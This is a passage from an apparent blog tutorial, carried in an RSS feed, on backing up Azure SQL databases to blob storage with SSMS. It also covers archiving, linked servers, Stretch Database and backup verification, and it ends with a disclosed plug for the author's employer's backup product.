<p>Go to the storage account, find <strong>Containers</strong>, then hit the <strong>+ Container</strong> tab there. After that, specify a name for the new container and switch Public access level to <strong>Private (no anonymous access)</strong>.</p>
<p><img src="https://lh7-us.googleusercontent.com/eGTyBc9-uiRO52QsQ0pGzlWPAZlvyMR0miExCMX-Pck9yPQvUlwKqa0_N-zWc908TzHONdzLC2Kv8ACU5UHJjuJ8G6kBOmgxONkLN5LE33ItBsKOx5XdIKtMg8oYDY6eKrdFrZ0bhuOD535QALtqxMU" alt="Image" width="1600" height="955" loading="lazy">
<em>Container Azure storage account</em></p>
<p>You can then use the container as a backup storage (.bak files will be stored there in that case).</p>
<h2 id="heading-azure-database-backup-configuration">Azure Database Backup Configuration</h2>
<p>Now, everything is set up for you to back up your SQL Azure database. Do the following to create a database backup:</p>
<p>First, go to <strong>SQL Management Studio</strong>, and establish a connection with the SQL server. After that, right-click the database that should be backed up. The context menu appears, so go to <strong>Tasks</strong> there. Then hit <strong>Back Up…</strong>. </p>
<p><img src="https://lh7-us.googleusercontent.com/l5g6ajoZ6ZuBObluCiG7mra9pz9BPgP-iOCAoGh36SY5zfg1yv300oQQ1cvgrVFNL75Nu7roFIVp2BfPze3ag5nTzL1NQYiO_fhUokWSd9fVms1SDcoP5pJ7a4wWdB3fQJWeKbrNIK_-vo2-hiXTDl0" alt="Image" width="1348" height="720" loading="lazy">
<em>SQL server tasks backup</em></p>
<p>Then find the Destination tab, and set <strong>Back up to line to URL</strong> there. After that, hit <strong>New container</strong>.</p>
<p>Next, sign in to Azure. Pick the container you created before. Provide your credentials, then hit <strong>OK</strong>.</p>
<p>You’ll see a message asking you to sign in to Azure subscription. Then, choose the container and hit <strong>OK</strong>.</p>
<p>Now, you'll see the configured backup destination URL listed. To start the workflow to back up your Azure data, hit <strong>OK</strong> once again.</p>
<p>When your SQL Azure database backup is completed, the message shows up: "<em>The backup of database ‘your database name’ completed successfully</em>."</p>
<p>The backup file in the target container should now be visible from the Azure portal.</p>
<p>Keep in mind that, when uploading backups to any cloud storage, you may face issues if your network connection is not fast enough. </p>
<p>In case that’s true for you, you can reorganize your backup workflows: send backup data to a physical storage drive first, and then send another copy to the cloud. Thus, you can prevent operational challenges that might appear due to network bandwidth deficiency.</p>
<h2 id="heading-cloud-archiving-for-azure-database-backups">Cloud Archiving for Azure Database Backups</h2>
<p>Databases tend to grow in volume as the organization grows. This means that the storage space required to fit the data and that data's backup increases significantly. Also, the original data volume prolongs the duration of full backup workflows, posing another challenge. </p>
<p>Of course, the first way to get more storage space is to revise your data regularly and erase records that are irrelevant, outdated, or unnecessary otherwise. Still, it's sometimes difficult to determine if data will be or become unnecessary or irrelevant, especially when dealing with issues of compliance. </p>
<p>To keep your organization compliant in any case, data archiving can help you solve two problems at once: you can ensure data accessibility on one hand, and save storage space on the other hand.</p>
<p>To archive your SQL database in the cloud, you should first save that database copy to an Azure blob container. Then, to move a newly created blob to the archive tier in the Azure portal, do the following: </p>
<ol>
<li>Go to the required container where the SQL database is stored.</li>
<li>Choose the blob that you need to move.</li>
<li>Hit <strong>Change tier</strong>.</li>
</ol>
<p><img src="https://lh7-us.googleusercontent.com/p41GC9ys42mQBQGWW1jqcR2xCfACpCYF1MpGG7Qx6EdqzjDSK6xnuqlPRCtDuhEmH_-8E6Lz2gY8H3h1CoZ4_jpScQWUxB-21GXOnuDEBSHVJiGa1zBiHu4JJP2Xntq1fpbPLjbb1-APOTJMO2sdBMk" alt="Image" width="1281" height="629" loading="lazy">
<em>Azure blob container change tier</em></p>
<ol start="4">
<li>In the <strong>Access tier</strong> dropdown menu, choose <strong>Archive</strong>.</li>
</ol>
<p><img src="https://lh7-us.googleusercontent.com/qlyKGop3uj6kfi71fSpVsqKkhf8vc1TiQRyoeHEiwjKdg1i3Dsz_LXLHcD5q-qR77utIPUbkLyWU7Xzn7ehl3Z1IWUQZjy0LndXLEcDA1PRZj4ufO8QGR0GCmEDGqoWQ6paFwo8pn0VbUH8RWjlRzLU" alt="Image" width="432" height="283" loading="lazy">
<em>Azure blob change tier</em></p>
<ol start="5">
<li>Hit <strong>Save</strong>.</li>
</ol>
<p>Additionally, the Archive storage tier is the most affordable one in Azure, meaning that you can reduce your database data TCO with it.</p>
<h3 id="heading-secondary-database-and-table-management">Secondary Database and Table Management</h3>
<p>There exist several workflows that can help you set up Azure database backup archiving for your organization. When you need the data to stay in the initial database, for instance, creating a separate table and moving that data there can be your choice. However, the filegroup of that table should stay apart from the main database and be moved to a separate disk whenever possible. </p>
<p>Most probably, you’ll want to let users access the data you send to a separate table. To make that happen, you can create a view merging the relevant tables and redirect the requests to that view, not to the original table. Doing things that way, you can keep the data accessible while dealing with maintenance faster.</p>
<h3 id="heading-sql-server-linking">SQL Server Linking</h3>
<p>If you can’t move the data to another database for internal reasons such as special Azure backup policies, you can consider maintaining your primary database accordingly. </p>
<p>Here, the outcome is likely to be that of the previous case, but you need to link the SQL servers or configure apps so they can send direct requests to your second server. </p>
<p>The downside here is that your SQL database, which was supposed to be a backup one, becomes a production database and gains appropriate importance for an organization.</p>
<p>There are two ways to create linked servers via SQL Server Management Studio (SSMS): </p>
<ul>
<li><strong>sp_addlinkedserver</strong> (Transact-SQL) system stored procedure that creates a linked server</li>
<li><strong>SSMS GUI</strong></li>
</ul>
<p>After you've ensured that you have appropriate access rights on both server instances you need to link, the network is configured appropriately to access them, and SSMS is installed, you'll need to go through the following steps:</p>
<p>First, open SSMS.</p>
<p><img src="https://lh7-us.googleusercontent.com/6NS8wE2UmtV5Bs3-loE7kIASfehk4-hSaPP5y7Wm1oEVIUFDCPyxD_f1rLQzxsJVdCGaFJwcRHqKVrnypgETOSohLP5hQK50m4tj4pBZBIx6oTUj8WOJbcttfhy0IybUyC_CrJCyK8saEPnchKInp7g" alt="Image" width="1499" height="1087" loading="lazy">
<em>Microsoft SSMS</em></p>
<p>Connect to the instance where you need to establish a linked server. Then find <strong>Object Explorer &gt; Server Objects</strong>, then right-click <strong>Linked Servers</strong>.</p>
<p>Pick <strong>New Linked Server</strong> from the dropdown:</p>
<p><img src="https://lh7-us.googleusercontent.com/tD5YO2e1RtfLUmtBdRFNfiHQSyaxnQml9lBGnRPPzuNrW4Fcu-3alTg4N3-mdR-oQxcaUyMpyqp36l7r3aTfg29RzT6Jgx0Nb1eT2T-y-zotl1RujRUIC4gSwE25aslpfMJJUvNW4MMivP4BstyQu4o" alt="Image" width="400" height="340" loading="lazy">
<em>New linked server SSMS</em></p>
<p>Then configure the server properties, including name, server type, provider and product name:</p>
<p><img src="https://lh7-us.googleusercontent.com/y-WSzJni8uyKBAcJywPqk-iufIeJ_4TTs1rf3e_9RYhj1Kt8nUsZfad9Vekec4yL6eFCX8doLR4Qr7iA6X3p78jnRfIs3AYlHMn1GOhR8Ya29CW5X9DIU-nbj_jDaTwAvwEJXNjr7npd5THmnD7Iv3A" alt="Image" width="400" height="378" loading="lazy">
<em>Linked server configuration SSMS</em></p>
<p>Then you'll just need to complete the security configuration, set up the server options, and complete connection testing.</p>
<h3 id="heading-original-data-deletion">Original Data Deletion</h3>
<p>When you don’t need 24/7 data availability but need the data stored due to internal policies or compliance requirements, you can choose what's probably the simplest solution to increase storage space efficiency. Just back up the data that can stay unavailable and then delete the originals from the main database. Accessing any records you may need will still be possible via the backup.</p>
<h3 id="heading-stretch-database">Stretch Database</h3>
<p>Aiming to make data management of organizations’ databases simpler, Microsoft implemented a Stretch Database feature in SQL Server 2016. With this feature, you can get an SQL backup to Azure after you send the data from the hosted database to an Azure SQL database. The method enables you to increase overall infrastructure cost-efficiency by simplifying backup workflows.</p>
<p>To enable this workflow in your environment, develop the policy specifying the data on a hosted server to send to Azure. You don’t need to introduce any changes in applications that use the production database: SQL Server can independently get the records from the Azure SQL Database.</p>
<h3 id="heading-azure-database-backups-verification-and-restoration">Azure Database Backups Verification and Restoration</h3>
<p>During an SQL Azure database backup, you can choose to create such backups <strong>WITH CHECKSUMS</strong> or without them. When the workflow is complete, I recommend you use the following command: <strong><code>RESTORE VERIFYONLY</code></strong>. This command enables you to check the recoverability of backup files.  </p>
<p>To access the data, you can restore records from a backup to a different database. With Azure Automation scripts on backups, you can accelerate the restoration process, thus minimizing downtime and increasing the overall resilience of your Azure infrastructure. </p>
<p>You need to follow only a few steps to restore an Azure SQL database to a required recovery point from a backup. Still, keep in mind that your subscription can define the available retention period which can vary from 7 to 35 days. A native tool for backup restoration to SQL servers is Server Management Studio.</p>
<h2 id="heading-to-conclude">To Conclude</h2>
<p>The critical nature of Azure SQL database data makes Azure SQL backups obligatory for any organization that uses this Microsoft solution. In this guide, we reviewed the process of creating SQL Azure database backup using native Microsoft tools. </p>
<p>These tools provide data backup, backup verification, and recovery functionality along with some automation. </p>
<p>You can also implement a specialized all-in-one data protection solution, such as <a target="_blank" href="https://www.nakivo.com/backup-to-azure-blob/">NAKIVO</a>, the company where I work. It can help you make your data backup workflows more efficient.</p>
 ]]>
                </content:encoded>
            </item>
        
    </channel>
</rss>
